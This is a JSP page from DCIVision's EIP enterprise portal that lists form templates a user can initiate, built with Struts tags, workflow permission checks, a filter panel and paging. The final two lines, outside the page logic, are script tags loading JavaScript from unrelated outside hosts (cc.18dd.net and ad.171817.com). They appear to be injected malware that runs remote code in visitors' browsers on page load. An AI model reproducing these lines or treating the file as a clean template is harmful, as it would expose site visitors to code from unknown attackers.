<%
/*
 * @(#)ListFormSubmission.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListFormSubmission.jsp

  This is a ListFormSubmission page.  It shows the all form template that can be initiate by the current user in EIP.

    @author             Scott Tong
    @company            DCIVision Ltd
    @creation date      07/01/2003
    @version            $Revision: 1.56.2.19 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Locale"%>
<%@ page import="java.sql.Timestamp"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.form.dao.FormSubmissionDAObject" %>
<%@ page import="java.sql.Connection" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listFormRecordForm" scope="request" class="com.dcivision.form.web.ListFormRecordForm"/>

<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "formSubmissionList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            //{"form.columnheader.history", GlobalConstant.NOT_AVAILABLE},
                            {"form.columnheader.group_name", "GROUP_NAME"},
                            {"form.columnheader.title", "TITLE"},
                            //{"workflow.columnheader.workflow_code", GlobalConstant.NOT_AVAILABLE},
                            {"form.columnheader.form_code", "FORM_CODE"},
                            {"form.columnheader.form_version", "FORM_VERSION"},
                            {"form.label.form_type","FORM_TYPE"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"form.label.form_code", "FORM_CODE"},
                            {"form.columnheader.form_version", "FORM_VERSION"},
                            {"form.columnheader.group_name", "GROUP_NAME"}
                          };

  int     COLUMN_OFFSET = 0;

  Timestamp currTime = Utility.getCurrentTimestamp();
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  FormSubmissionDAObject formSubmissionDAO = new FormSubmissionDAObject(sessionContainer,conn);
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<script language="Javascript">
<!--
function OpListCustReset(frm) {
  //frm.searchFormType[2].checked=true;
  OpListReset(frm);
  return false;
}

-->

</script>

<!-- Form Section Begin -->
<html:form action="form/ListFormSubmission" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<layout:listBar>
    <div class="button">
    	<layout:returnButton className="but-standard"/>
    </div>
    <layout:filterControl/>
    </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
    <table>
    <tr>
     <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
      </td>
      <td class="filterPanelItem" nowrap >
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
      </td>
      <td class="filterPanelItem" nowrap >
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
</table>
</div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listFormRecordForm, '${listFormRecordForm.sortAttribute}', '${listFormRecordForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListCustReset(listFormRecordForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->


<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listFormRecordForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listFormRecordForm.getSortAttribute()%>" sortOrder="<%=listFormRecordForm.getSortOrder()%>" checkColumn='false' editLabel='form.label.start' copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="formRecord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)formRecord).getID()%>);">
    <td  align="center">
    <%//if ((Utility.isEmpty(((FormRecord)formRecord).getEndDate())) ||(!Utility.isEmpty(((FormRecord)formRecord).getEndDate()) && currTime.before(((FormRecord)formRecord).getEndDate()) )){%>
      <%if (!Utility.isEmpty(((FormRecord)formRecord).getFormDocID())){%>
        <logic:empty name="formRecord" property='workflowList'>
        <a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=N&formRecordID=<%=((FormRecord)formRecord).getID()%>&status=R&step=N','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
        </logic:empty>
        <logic:equal name="formRecord" property='workflowListSize' value='1'>
          <logic:iterate id="workflowRecord" collection="<%=((FormRecord)formRecord).getWorkflowList()%>" scope="request" >
          <wfm:permission right='W' workflowRecord="<%=(WorkflowRecord)workflowRecord%>">
          <a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=N&formRecordID=<%=((FormRecord)formRecord).getID()%>&workflowRecordID=<bean:write name='workflowRecord' property='ID'/>&status=R&step=N','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
          <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
          <html:img src='IconEditDisable.gif'  align='absmiddle'/>
          </wfm:permission>
          </logic:iterate>
        </logic:equal>
        <logic:greaterEqual name="formRecord" property='workflowListSize' value='2'>
        <html:img src='IconEditDisable.gif'  align='absmiddle'/>
        </logic:greaterEqual>
      <%}else{%>
        <logic:empty name="formRecord" property='workflowList'>
        <a href="MaintFormSubmission.do?navMode=N&function=FORMSUBMISSION&formRecordID=<bean:write name='formRecord' property='ID'/>"><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
        </logic:empty>
        <logic:equal name="formRecord" property='workflowListSize' value='1'>
          <logic:iterate id="workflowRecord" collection="<%=((FormRecord)formRecord).getWorkflowList()%>" scope="request" >
           <wfm:permission right='W' workflowRecord="<%=(WorkflowRecord)workflowRecord%>">
           <%if (Utility.isEmpty(((WorkflowRecord)workflowRecord).getEndDate()) || "null".equals(((WorkflowRecord)workflowRecord).getEndDate()) ||(!Utility.isEmpty(((WorkflowRecord)workflowRecord).getEndDate()) && currTime.before(((WorkflowRecord)workflowRecord).getEndDate()) )){%>
           <a href="MaintFormSubmission.do?navMode=N&function=FORMSUBMISSION&formRecordID=<bean:write name='formRecord' property='ID'/>&workflowRecordID=<bean:write name='workflowRecord' property='ID'/>"><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
          <%}else{%>
           <html:img src='IconEditDisable.gif'  align='absmiddle'/>
          <%}%>
          <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
          <html:img src='IconEditDisable.gif'  align='absmiddle'/>
          </wfm:permission>
          </logic:iterate>
        </logic:equal>
        <logic:greaterEqual name="formRecord" property='workflowListSize' value='2'>
        <html:img src='IconEditDisable.gif'  align='absmiddle'/>
        </logic:greaterEqual>
      <%}%>
    </td>
    <td><bean:write name='formRecord' property='groupName'/></td>
    <% 
       boolean isDisplayHistoryLink = false;
    %>
    <td nowrap>
    <%if (!Utility.isEmpty(((FormRecord)formRecord).getFormDocID())){%>
      <table border='0' width='100%'>
      <tr><td valign='top' width='20%'>
        <nobr>
        	<bean:write name='formRecord' property='title'/>
        <nobr>
      </td><td >
        <logic:notEmpty name="formRecord" property='workflowList'>
         <logic:iterate id="workflowRecord" collection="<%=((FormRecord)formRecord).getWorkflowList()%>" scope="request" >
         --
           <%-- Commented by Brook.Huang for BUG[EIP-1082].
           There should be a hyperlink in either case the form is binded with the first step of this workflow or not.
           PDF form have been delete form this system.
           <logic:equal name='workflowRecord' property='hasBindFormFistStep' value='<%=GlobalConstant.TRUE%>'>
           --%>
           <wfm:permission right='W' workflowRecord="<%=(WorkflowRecord)workflowRecord%>">
           <%if ((Utility.isEmpty(((WorkflowRecord)workflowRecord).getEndDate()) || "null".equals(((WorkflowRecord)workflowRecord).getEndDate())) ||(!Utility.isEmpty(((WorkflowRecord)workflowRecord).getEndDate()) && currTime.before(((WorkflowRecord)workflowRecord).getEndDate()) )){%>
            <a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=N&formRecordID=<%=((FormRecord)formRecord).getID()%>&workflowRecordID=<bean:write name='workflowRecord' property='ID'/>&status=R&step=N','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><bean:write name='workflowRecord' property='workflowCode'/>[ <bean:write name='workflowRecord' property='workflowVersion'/> ]</a>
           <%}else{%>
            <bean:write name='workflowRecord' property='workflowCode'/>[ <bean:write name='workflowRecord' property='workflowVersion'/> ]
           <%}%>
           <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
          <bean:write name='workflowRecord' property='workflowCode'/>[ <bean:write name='workflowRecord' property='workflowVersion'/> ]
          </wfm:permission>
           <a href="ListFormSubmissionDetail.do?navMode=L&formRecordID=<bean:write name='formRecord' property='ID'/>&workflowRecordID=<bean:write name='workflowRecord' property='ID'/>&workflowRecordID=<bean:write name='workflowRecord' property='ID'/>&function=ListFormSubmission"><html:img src='IconHistory.gif'  align='absmiddle'/></a>
           <%--
           </logic:equal>
           <logic:notEqual name='workflowRecord' property='hasBindFormFistStep' value='<%=GlobalConstant.TRUE%>'>
           <bean:write name='workflowRecord' property='workflowCode'/>[ <bean:write name='workflowRecord' property='workflowVersion'/> ]
           </logic:notEqual>
           --%>
         <br>
         </logic:iterate>
         <% try {
             isDisplayHistoryLink = formSubmissionDAO.isDisplayFormSubmissionHistory(((FormRecord)formRecord).getID());
            } catch (Exception e) {
             isDisplayHistoryLink = false;
            }
         if (isDisplayHistoryLink) { %>
           <a href="ListFormSubmissionDetail.do?navMode=L&formRecordID=<bean:write name='formRecord' property='ID'/>&function=ListFormSubmission"><html:img src='IconHistory.gif'  align='absmiddle'/></a>
         <%} %>
        </logic:notEmpty>
        <logic:empty name="formRecord" property='workflowList'>
        <a href="ListFormSubmissionDetail.do?navMode=L&formRecordID=<bean:write name='formRecord' property='ID'/>&function=ListFormSubmission"><html:img src='IconHistory.gif'  align='absmiddle'/></a>
        </logic:empty>
      </td></tr></table>

    <%}else{%>
      <table class="innerTable">
      <tr><td valign='top' width='20%'>
        <nobr><bean:write name='formRecord' property='title'/><nobr>
      </td><td >
        <logic:notEmpty name="formRecord" property='workflowList'>
         <logic:iterate id="workflowRecord" collection="<%=((FormRecord)formRecord).getWorkflowList()%>" scope="request" >
         --
         <%-- Commented by Brook.Huang for BUG[EIP-1082].
         There should be a hyperlink in either case the form is binded with the first step of this workflow or not.
         <logic:equal name='workflowRecord' property='hasBindFormFistStep' value='<%=GlobalConstant.TRUE%>'>
         --%>
         <wfm:permission right='W' workflowRecord="<%=(WorkflowRecord)workflowRecord%>">
         <%if ((Utility.isEmpty(((WorkflowRecord)workflowRecord).getEndDate()) || "null".equals(((WorkflowRecord)workflowRecord).getEndDate())) ||(!Utility.isEmpty(((WorkflowRecord)workflowRecord).getEndDate()) && currTime.before(((WorkflowRecord)workflowRecord).getEndDate()) )){%>
           <a href="MaintFormSubmission.do?navMode=N&function=FORMSUBMISSION&formRecordID=<bean:write name='formRecord' property='ID'/>&workflowRecordID=<bean:write name='workflowRecord' property='ID'/>"><bean:write name='workflowRecord' property='workflowCode'/>[ <bean:write name='workflowRecord' property='workflowVersion'/> ]</a>
           <a href="ListFormSubmissionDetail.do?navMode=L&formRecordID=<bean:write name='formRecord' property='ID'/>&workflowRecordID=<bean:write name='workflowRecord' property='ID'/>&function=ListFormSubmission"><html:img src='IconHistory.gif'  align='absmiddle'/></a>
           <%}else{%>
           <bean:write name='workflowRecord' property='workflowCode'/>[ <bean:write name='workflowRecord' property='workflowVersion'/> ]
         <%}%>
         <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
          <bean:write name='workflowRecord' property='workflowCode'/>[ <bean:write name='workflowRecord' property='workflowVersion'/> ]
          </wfm:permission>
         <%--
         </logic:equal>
         <logic:notEqual name='workflowRecord' property='hasBindFormFistStep' value='<%=GlobalConstant.TRUE%>'>
           <bean:write name='workflowRecord' property='workflowCode'/>[ <bean:write name='workflowRecord' property='workflowVersion'/> ]
       <a href="ListFormSubmissionDetail.do?navMode=L&formRecordID=<bean:write name='formRecord' property='ID'/>&workflowRecordID=<bean:write name='workflowRecord' property='ID'/>&function=ListFormSubmission"><html:img src='IconHistory.gif'  align='absmiddle'/></a>
         </logic:notEqual>
         --%>
         <br>
         </logic:iterate>
         <% try {
              isDisplayHistoryLink = formSubmissionDAO.isDisplayFormSubmissionHistory(((FormRecord)formRecord).getID());
            } catch (Exception e) {
              isDisplayHistoryLink = false;
            }
         if (isDisplayHistoryLink) { %>
           <a href="ListFormSubmissionDetail.do?navMode=L&formRecordID=<bean:write name='formRecord' property='ID'/>&function=ListFormSubmission"><html:img src='IconHistory.gif'  align='absmiddle'/></a>
         <%} %>
        </logic:notEmpty>
        <logic:empty name="formRecord" property='workflowList'>
        <a href="ListFormSubmissionDetail.do?navMode=L&formRecordID=<bean:write name='formRecord' property='ID'/>&function=ListFormSubmission"><html:img src='IconHistory.gif'  align='absmiddle'/></a>
        </logic:empty>
      </td></tr></table>
    <%}%>
    </td>
    <td><bean:write name='formRecord' property='formCode'/></td>
    <td width="35"><bean:write name='formRecord' property='formVersion'/></td>
    <td width="40">
      <bean:message key="form.label.form_type_html"/>
    </td>

    <td class="bodyVerySmall" nowrap><bean:write name='formRecord' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall"><bean:write name='formRecord' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listFormRecordForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
 <!-- Pager Information End -->
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>